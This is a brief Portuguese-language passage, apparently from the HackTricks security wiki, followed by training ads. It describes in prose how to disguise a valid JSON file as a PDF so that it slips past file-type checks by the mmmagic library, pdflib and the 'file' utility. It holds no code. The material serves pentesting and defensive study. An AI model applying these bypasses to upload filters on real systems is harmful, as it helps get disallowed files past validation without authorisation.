Como evitar detecçÔes de tipo de arquivo enviando um arquivo JSON vålido mesmo quando não permitido, falsificando um arquivo PDF (técnicas do this blog post):

  • mmmagic library: Desde que os bytes mĂĄgicos %PDF estejam nos primeiros 1024 bytes, Ă© considerado vĂĄlido (veja exemplo no post)
  • pdflib library: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que Ă© um PDF (veja exemplo no post)
  • file binary: Ele pode ler atĂ© 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que nĂŁo consiga parsear o conteĂșdo como JSON e entĂŁo, dentro do JSON, colocar a parte inicial de um PDF real e ele irĂĄ considerĂĄ-lo um PDF

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks